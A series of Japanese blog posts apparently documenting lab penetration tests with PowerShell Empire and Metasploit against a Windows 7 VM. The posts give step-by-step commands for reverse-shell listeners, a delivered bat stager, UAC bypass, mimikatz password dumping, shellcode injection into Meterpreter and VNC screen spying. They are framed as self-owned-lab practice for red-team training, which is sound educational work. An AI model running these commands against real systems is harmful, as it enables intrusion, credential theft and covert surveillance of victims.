とある親父の侵入実験【Empire:帝国の目?鷹の目?】

f:id:appleseedj073:20170503114540p:plain

今回は、とあるシナリオに基づいて実施します。

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

f:id:appleseedj073:20171103023924j:plain

「レッドチームとしては、なんとしてもブルーチームの操作画面を覗き見たい!これまで利用した標的型攻撃で得たブルーチームとのバックドアを利用して画面を盗み出せ!」

 

という命令が出たのでやってみます。

途中までの手順に関しては前々回の「皇帝との共闘」と一緒なんで、その後から書きます。

ra66itblog.hateblo.jp

 

監視モジュール準備

f:id:appleseedj073:20170509153248p:plain

現在接続されているセッションにVNCモジュールを送り込んでやる。

 

 msf exploit(handler) > use post/windows/manage/payload_inject
 msf post(payload_inject) > set payload windows/vncinject/reverse_tcp
 payload => windows/vncinject/reverse_tcp
 msf post(payload_inject) > set LHOST 192.168.1.100
 LHOST => 192.168.1.100
 msf post(payload_inject) > set session 1
 session => 1
 msf post(payload_inject) > set handler true
 handler => true

f:id:appleseedj073:20170509155006p:plain

準備ができたら実行

 msf post(payload_inject) > exploit

f:id:appleseedj073:20170509155147p:plain

色々と流れると・・・

 

f:id:appleseedj073:20170509155410p:plain

こんな感じに標的PCとの間にVNCで接続することができる。

 

相手との間の回線速度にもよるけど、案外快適に盗み見することが可能になりますw

 

「これで、ブルーチームの動向を確認することができる!」

 

とある親父の侵入実験【Empire:帝国と共闘】

f:id:appleseedj073:20170503114540p:plain

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

前回までEmpireを利用した簡単な紹介を書きました。今回は、これまでお世話になったMetasploitととのコラボを描いてみたいと思います。

 

準備したもの

 

環境(仮想環境)

  1. Kali Linux(192.168.1.100)
  2. Windows 7 SP1(192.168.1.10)

 

1 接続

Windowsとの接続のウンヌンカンヌンは端折ります。

現在、標的となるWindows端末と接続ができている状態(前回と同じ感じ)になっている。

f:id:appleseedj073:20170504024704p:plain

次にmeterpreterとの接続に使用するリスナーを用意してやります。

 (Empire: listeners) > set Name meterpreter
 (Empire: listeners) > set Port 8888
 (Empire: listeners) > set Type meter
 (Empire: listeners) > execute

f:id:appleseedj073:20170504025003p:plain

ここまでで下ごしらえ完了

 

2 譲渡

まずはEmpire側で現在接続している端末に接続しmeterpreterをinjectionする準備を施す。エージェントモードに移行して接続している端末にインタラクトする。

 (Empire: agents) > interact FZWBYTCSG1NH3P42

そして、shellcodeをinjectしてmeterpreterへリバース接続するように指定する。

 (Empire: FZWBYTCSG1NH3P42) > injectshellcode meterpreter

f:id:appleseedj073:20170504025639p:plain

設定情報を確認するとリバース接続用のIPアドレスとポート番号を欲しがっているので与えてやります。また合わせてPayloadも少し変更を加えます。

 (Empire: code_execution/invoke_shellcode) > set Lhost 192.168.1.100
 (Empire: code_execution/invoke_shellcode) > set Lport 8888
 (Empire: code_execution/invoke_shellcode) > set Payload reverse_http

f:id:appleseedj073:20170504030324p:plain

これでEmpire側は準備完了。今の接続に対してペイロードを走らせたらmetasploit側へペイロードを送り、「meterpreterリスナー」で待ち受けたポートで受け取るという手筈になっている

 

3 共闘

次にMetasploit側の設定を行う。

 msf > use exploit/multi/handler
 msf exploit(handler) > set payload windows/meterpreter/reverse_http
 payload => windows/meterpreter/reverse_http
 msf exploit(handler) > set LHOST 192.168.1.100
 LHOST => 192.168.1.100
 msf exploit(handler) > set LPORT 8888
 LPORT => 8888
 msf exploit(handler) > set exitonsession false

とりあえずMeterpreter側で待ち受けてリバース接続するように指定する。接続先は当然Empireで用意した「meterpreterリスナー」

で、ここまで設定したらmetasploitは走らせて待機。

 msf exploit(handler) > exploit -j

f:id:appleseedj073:20170504031054p:plain

さぁ、共闘の準備は整った!

Empireへ戻り実行してみよう!!

 (Empire: code_execution/invoke_shellcode) > execute

f:id:appleseedj073:20170504031346p:plain

Empire側でJobが走ると・・・

f:id:appleseedj073:20170504031524p:plain

見事にmeterpreter側でsessionが、確立する。

 

f:id:appleseedj073:20170504031728p:plain

ここからは慣れ親しんだMeterpreterが相手をしてくれるということになるのである。

 

Metasploitにしか出回っていないようなコードをどうしても試したいときは、こういった手段を使うことでEmpireのSessionをMeterpreterへ渡すことができるということを覚えていてほしい。

とある親父の侵入実験【Empire:帝国の力 後編】

f:id:appleseedj073:20170503114540p:plain

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

とりあえず続きします。

前回までに、Empireで作成したbatファイルをWindowsに渡して起動。見事にリバース接続が成功した状態で終わりました。

f:id:appleseedj073:20170503122017p:plain

こんな感じで、相手の情報がほぼほぼ丸見え。usernameからhostname、OSもわかってたw

次は、この端末のパスワードを奪取しようと思います。Windowsのパスワードを取ると行ったらmimikatz。このツールが有名であって尚且つ、このEmpireとの相性がいい(俺の勝手な想像w)というわけでパスワードの奪取までやってみよう!

 

5 パスワード奪取

上図の状態でmimikazを実行するモジュールを選択する。

 (Empire: TPESSRK3BLUPTA4G) > usemodule credentials/mimikatz/logonpasswords
 (Empire: credentials/mimikatz/logonpasswords) > info

f:id:appleseedj073:20170503194022p:plain

mimikazのlogonpasswordを割り出すモジュールを呼び出したところ。今回は、特に設定を変えることなくこのまま実行

 

f:id:appleseedj073:20170503194225p:plain

見事にエラー!!

このモジュールを動かすには、高い権限がいるっぽい(適当な意訳)

ってことでUACをbypassしてみる。

  (Empire: credentials/mimikatz/logonpasswords) > usemodule privesc/bypassuac

f:id:appleseedj073:20170503194808p:plain

ここではリスナーの指定が必須項目なのでリスナーを指定して実行。

 

 (Empire: privesc/bypassuac) > set Listener test
 (Empire: privesc/bypassuac) > execute
 [>] Module is not opsec safe, run? [y/N] y

f:id:appleseedj073:20170503195422p:plain

実行するとJobが始まって・・・

 

f:id:appleseedj073:20170503195504p:plain

新エージェントが追加される。

 

このエージェントを確認すると

f:id:appleseedj073:20170503195546p:plain

2段目に新しく追加されているのが確認できる。そして、Usernameを見てみると新しく追加された方には「*」が付加されているのが確認できる。そこで、今度は新しいエージェントにインタラクトしてみる。

 

 (Empire: agents) > interact EBGZFMZ4EVCTBBSA

f:id:appleseedj073:20170503195933p:plain

同じ端末であることは確認できるのだが一番下の項目「high_integrity」をみると0から1に変更されている。この状態で先ほど失敗したmimikazのモジュールを実行してみる。

 (Empire: EBGZFMZ4EVCTBBSA) > usemodule credentials/mimikatz/logonpasswords
 (Empire: credentials/mimikatz/logonpasswords) > execute

 

f:id:appleseedj073:20170503200329p:plain

しばらくするとJobが始まって・・・

 

f:id:appleseedj073:20170503202135p:plain

見事に取れましたw

Username : Victim

Password : password

 

6 結論

このEmpireはMetasploitに取って代わるツールではないけど、個人を狙った標的型攻撃では、とても便利なツールが用意されていて「標的型攻撃演習」というシナリオではとても便利そう。でも、使い方を間違えるととても危険なツールであることには間違いないと思った。今後もこのEmpireを使った攻撃シナリオについて検証してみたい。

 

 

とある親父の侵入実験【Empire:帝国の力 前編】

f:id:appleseedj073:20170503114540p:plain

はい、久しぶりにペネトレします。散々紹介してきたEmpireってツールを使って対象端末のパスワードを調べてみようかと思います。

 

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

準備したもの

  • MacBook Pro
  • ダークサイドに堕ちたフォース

 

環境(仮想環境)

  1. Kali Linux(192.168.1.100)
  2. Windows 7 SP1(192.168.1.10)

 

1 待受準備

まずは、Kali側でEmpireを起動しリスナーモードを立ち上げる。

f:id:appleseedj073:20170503115145p:plain

 (Empire) > listeners

 (Empire: listeners) >

 

 (Empire: listeners) > info

f:id:appleseedj073:20170503115447p:plain

infoコマンドで見るとこんな感じ。今回は何も変更せずにこのまま「test」って名前のリスナーを作る。

 

f:id:appleseedj073:20170503115708p:plain

このまま実行

 (Empire: listeners) > execute

「list」で確認すると上図のようになってる。これで待ち受け完了。

 

2 侵入準備

次にこのリスナーに接続に来るファイルを作成する。macroにしたりexeにしたりと色々できるけど今回はお手軽なbatファイルを作成する。

 (Empire: listeners) > usestager launcher_bat (リスナーの名前:今回はtest)
 (Empire: stager/launcher_bat) > info

f:id:appleseedj073:20170503120256p:plain

とりあえずこんな感じになります。これもこのままのデフォルト設定で作成します。

 (Empire: stager/launcher_bat) > execute

 

f:id:appleseedj073:20170503120446p:plain

/tmp配下に作成された様子。

f:id:appleseedj073:20170503120608p:plain

 

とりあえず今回は、こいつをWebサーバを立ち上げてデリバリーする。

 python -m SimpleHTTPServer 80

f:id:appleseedj073:20170503120857p:plain

 

3 配達・実行

今度はWindows側でブラウザを立ち上げて先ほど立ち上げたWebサーバにアクセスする。

f:id:appleseedj073:20170503121211p:plain

真ん中あたりに作成したbatがあるので、これをダウンロードして実行

 

f:id:appleseedj073:20170503121322p:plain

とりあえず「実行」する。

 

4 侵入完了

Kali側に戻って確認するとリバース接続があるのが確認できる。

f:id:appleseedj073:20170503121616p:plain

 (Empire: stager/launcher_bat) > agents

 

エージェントモードに切り替えることで、端末から接続があるのが確認できる。次にこの端末にインタラクトする。

 (Empire: agents) > interact (セッションID:TPESSRK3BLUPTA4G)

 (Empire: TPESSRK3BLUPTA4G) > info

f:id:appleseedj073:20170503122017p:plain

無事に侵入できたところで一旦終了w

とある親父の侵入実験【Empire:帝国の変遷】

f:id:appleseedj073:20160813022549p:plain

このEmpireってツールって意外とコマンド多いのよね。

とりあえず勝手にモード分けして見た!モードの名称は、本当に勝手に決めただけなので苦情の類は一切受け付けませんw

 

まずはメインメニューモード

f:id:appleseedj073:20170502221430p:plain

一番最初のメイン画面から選べるコマンド群。ここからリスナーモードやエージェントモードに移行します。

 

次がリスナーモード

f:id:appleseedj073:20170502221500p:plain

メインメニューモードで「listeners」と入力するとリスナーモードへ移行する。Empireで使用するリスナーに関する設定をすることが出来る。既に対象からのリバース接続がある場合については「agents」コマンドでエージェントモードへ移行する。

 

次がエージェントモード

f:id:appleseedj073:20170502221559p:plain

リバース接続があった端末を掌握し、モジュールを使用したり端末にインタラクトしたりする。

 

エージェントモードからのインタラクトモード

f:id:appleseedj073:20170502221617p:plain

端末に完全に入り込んだ状態というのか、端末にだいぶ深く侵入している状態と考えている。かなりやれることが増えている。

 

最後がモジュールモード

f:id:appleseedj073:20170502221705p:plain

各モードで実は利用できる専用のモジュールを選択した場合に表示されるモジュールモード。「info」コマンドで必要な設定を確認して「set」コマンドを使用して値を設定して「execute」で実行。ここら辺の流れはモジュールモードに限ることなく似たような感じなったいる。

 

なんか、間違いや指摘があったらお願いしまーすw

とある親父の侵入実験【Empire:帝国の君臨w】

f:id:appleseedj073:20160813022549p:plain

久しぶりのブログネタ。

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

今回は、Youtube見てたら見つけた「Empire」ってのを使ってみることにした。

Empire・・・「皇帝」よ!      

f:id:appleseedj073:20171103023224p:plain

Empire」はここでは皇帝と解釈しないで帝国と解釈するのが正解みたいです(2017/11/03修正)

だから、「退かぬ、媚びぬ、省みぬ!」の人が異常なく頭をよぎりましたが、全く関係ありません。

 

久しぶりに書くから書きっぷりが昔と違うとかはなしでお願いします。

1・やること

まずはKaliを立ち上げてGithubから落としてこよう

github.com

 git clone https://github.com/EmpireProject/Empire.git

 

落としてきたらsetupにあるinstall.shを叩いてやるとインスコ完了

 

2・起動

empireってのがあるのでそいつを起動する

 ./empire

 

起動したらこんな画面

f:id:appleseedj073:20170430221631p:plain

 

3・作戦開始

ここでコマンドを入れるんだけどとりあえず

f:id:appleseedj073:20170430221723p:plain

 > listeners

これでリスナーモードになる(詳しいことは後日)

ここで待ち受けるための設定を記述してあげる

f:id:appleseedj073:20170430222002p:plain

そしたら

 > execute

f:id:appleseedj073:20170430222226p:plain

実行できた感じなら以下のコマンドで確認できる

 > list

 

次に本当は色々やりたいけど今日は、手間を省いて今回作成したリスナーに接続するpowershellを書き出してもらってそれをvictimとなるwindowsにコピペ。とりあえずempireの能力の確認っていうことで・・・

まずはpowershellの発行

f:id:appleseedj073:20170430222741p:plain

 > launcher test(testはリスナーの名前)

で、この長いのをコピーしてWindowsの Cmdに貼り付けて実行

f:id:appleseedj073:20170430222857p:plain

こうしてやると・・・

kali側では

f:id:appleseedj073:20170430223229p:plain

接続が始まった旨が伝達される

 

そして

f:id:appleseedj073:20170430223620p:plain

 > agents

コマンドを叩くと接続されている端末を確認できる。

この状態で

 > interact KGDPYTHTNCN44WV3(接続時に端末に振られた名称)

とりあえず今日のところは情報はこんな感じ

f:id:appleseedj073:20170430224653p:plain

目的が先か、手段が先か

ここ最近、ずっと悩んでいた。

 

f:id:appleseedj073:20170213224356p:plain

kali linuxは、とても便利なペネトレーションテスト用のOSだと思う。ツールも豊富で、2000個以上?用意されているらしい。もしこれを自分で全て一つずつインストールしていったらどんだけの労力なんだろうか?そう考えると本当に便利である。

 

しかし、この便利なツールがあるせいで自分は考えることを疎かにしてしまった。

f:id:appleseedj073:20170213224920j:plain

「怠惰ですね」

 

Aというツールがあるから、この攻撃検証をしてみよう。

Bというツールを使って何かできないかな?

 

手段が先行してしまってる攻撃検証なんて選択肢の幅が狭い!

 

ナイフを持ってるから人を刺すの?

人を刺したいからナイフを手に取るの?

 

DoSツールを手に入れたから、A社にDoS攻撃をするの?

A社にDoS攻撃をしたいから、DoSツールを求めるんじゃないの?

 

前者の場合、先に手段が決まってしまてるからそのあとに手段が変更することなんてないと思う。でも後者の場合、まず目的があってその目的を達成するために手段を求めるから、その工程で見つかる手段は前者より選択肢が多いと思う。

 

人を刺したい → ナイフにする?杭にする?アイスピック?もっとエゲツない物?w

A社にDoS攻撃をしたい → ツールをネットから探す?ツールを自分でコーディングする?基本コマンドをうまく組み合わせる?

 

後者の方が、可能性は無限大に広がるのでは?

 

だから、これからの攻撃検証は「便利なツールを見つけたから、それを活用する攻撃検証」といった考え方ではなく、「こんなことをしたい!そのためには何をどうすれば良いか?」と考えていきたい。

 

と、久しぶりのブログは心機一転の思考パターンを備忘録的に綴ってみた。